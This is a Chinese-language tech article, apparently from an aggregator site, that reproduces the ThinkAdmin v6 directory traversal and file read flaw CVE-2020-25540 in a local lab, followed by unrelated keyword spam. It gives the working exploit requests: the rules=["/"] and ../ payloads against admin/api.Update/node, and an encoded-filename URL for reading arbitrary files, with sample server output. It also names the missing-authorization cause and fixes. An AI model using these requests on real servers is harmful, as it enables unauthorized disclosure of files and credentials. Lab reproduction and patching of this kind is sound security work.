千家信息网

如何分析目录遍历文件读取漏洞CVE-2020-25540

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,如何分析目录遍历文件读取漏洞CVE-2020-25540,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。环境搭建phpstudy2018+
千家信息网最后更新 2026年10月31日如何分析目录遍历文件读取漏洞CVE-2020-25540

如何分析目录遍历文件读取漏洞CVE-2020-25540,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

环境搭建

phpstudy2018+ThinkAdmin v6.0.3

ThinkAdmin版本 ≤ 2020.08.03.01

https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e

Composer命令

\1. 安装Composer命令,phpstudy中PHP设置成7.1或以上版本,并把对应的文件夹放入环境变量path中

\2. 在phpstudy服务器中打开php.ini文件,找到extension=php_openssl.dll前面的分号去掉,意思是打开ssl扩展,目的是为了能在cmd命令中能进行访问

\3. 安装composer.phar,找到下载内容的地方,去下载当前最新版本的composer.phar,双击安装,不用勾选

下载地址https://getcomposer.org/Composer-Setup.exe

\4. 配置环境变量后自动选择了

然后一直下一步,安装完成

\5. 安装完成后在cmd命令行输入composer查看是否安装成功

\6. 设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

\7. 搜索下载ThinkAdminV6的漏洞版本到本地

\8. 进入ThinkAdmin目录进行安装

composer install

\9. 然后进config/database.php目录下修改配置文件,需要创建一个数据库

修改数据库连接所用的账号密码 root/root

导入数据库

要将 thinkadmin 安装包里的 admin_v6.sql 文件导入到数据库

快速新建数据库

数据库名:admin_v6

常用source 命令

进入mysql数据库控制台,

如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql

成功导入

\10. php进行运行 php think run

http://ip:8000打开页面

漏洞复现

目录遍历/任意文件读取

目录遍历

可以在浏览器直接构造,也可以burp抓包改包

①使用burp抓取首页的包,发送到Repeater模块构造数据包获取目录

②在Repeater模块中把GET修改成POST,url后添加 ?s=admin/api.Update/node

在下面输入rules=%5b%22%2f%22%5d //rules=["/"]

③点击"Send"发送,可以看到返回包中带有目录列表了

注:没有返回列表,是因为抓包时不是第一次加载页面,Content-Type字段被替换成为Cache-Control,虽然200但是列表内容为空。

抓第一次加载页面时的包就没问题

返回结果

rules=["/"]会遍历 E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6 下所有文件

HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{"code":1,"info":"获取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"\/app\/admin\/controller\/Auth.php","hash":"9a254f39ccdb4e334d48a8596d4ced57"},{"name":"\/app\/admin\/controller\/Config.php","hash":"09a65b23959905b7ea511e61b75d9626"},{"name":"\/app\/admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},{"name":"\/app\/admin\/controller\/Login.php","hash":"c1820e476b786a793a48ff893bf8ed3c"},{"name":"\/app\/admin\/controller\/Menu.php","hash":"d278f7948bfbe005987c16d18d2f49cb"},{"name":"\/app\/admin\/controller\/Oplog.php","hash":"7340a732685f2d4e91c01b07aa3efc4d"},{"name":"\/app\/admin\/controller\/Queue.php","hash":"88ca8b37cb205adbbf771878836366be"},{"name":"\/app\/admin\/controller\/User.php","hash":"52c893ed2f2390e6a46ca3d0fcee59da"},{"name":"\/app\/admin\/controller\/api\/Plugs.php","hash":"db98179054e8fe3a051f97901ea9ff2b"},/*省略一万行*/{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"},{"name":"\/启动须知.txt","hash":"263d4e9a08fbab5ac55e78cf537acb6f"}]}}

rules=["../"]会遍历 E:\phpstudy2018\PHPTutorial\WWW 下所有文件

rules=["../../"]会遍历 E:\phpstudy2018\PHPTutorial 下所有文件

rules=["../../../"]会遍历 E:\phpstudy2018 下所有文件

rules=["../../../../"]会遍历 E:\ 下所有文件

目录遍历内容超出限制会报错

任意文件读取

①读取根目录下【启动须知.txt】

②在使用加密函数对文件名进行加密,等下传参要用

在虚拟机运行

在线运行

5i6s524v5s6j5y4q1a383c38

③访问下面链接即可读取到文件内容

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38

base64解密得到文件内容

漏洞原因

由于Update.php这个文件中的函数方法没有授权导致的

修复方式

1.升级到2020.08.03.01之后的版本

2.使用官方的临时修复方案

https://github.com/zoujingli/ThinkAdmin/issues/244

看完上述内容,你们掌握如何分析目录遍历文件读取漏洞CVE-2020-25540的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

文件 目录 数据 数据库 内容 命令 漏洞 版本 加密 运行 成功 文件名 方法 环境 问题 页面 阿里 分析 函数 原因 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 天津市摩尔互联网科技 广州淘业互联网络科技 没上市的科技互联网公司 猪兼强互联网科技 互联网科技排名 电子科技大学互联网 友谊互联网络科技 互联网 视角下的科技创新 深圳艾佳互联网科技 四个字互联网科技公司取名 深圳卡尔迅互联网科技有限公司怎么样 中国的互联网科技企业的崛起 互联网校园科技培训 互联网科技有哪些公司 知域互联网科技有限公司大骗子 中国互联网公司排名锤子科技 城市宝互联网科技有限公司 互联网的科技体现在哪里 科技互联网专业务虚会材料 株洲百竞科技的互联网营销顾问 以房互联网科技 互联网科技公司需要的职位 恒银科技与互联网金融 港股科技和互联网 注册互联网科技公司经营范围大全 广西互联网科技孵化中心 互联网新科技动漫ppt素材 杭州披云加互联网科技有限公司 工业互联网科技创业 互联网对科技影响
0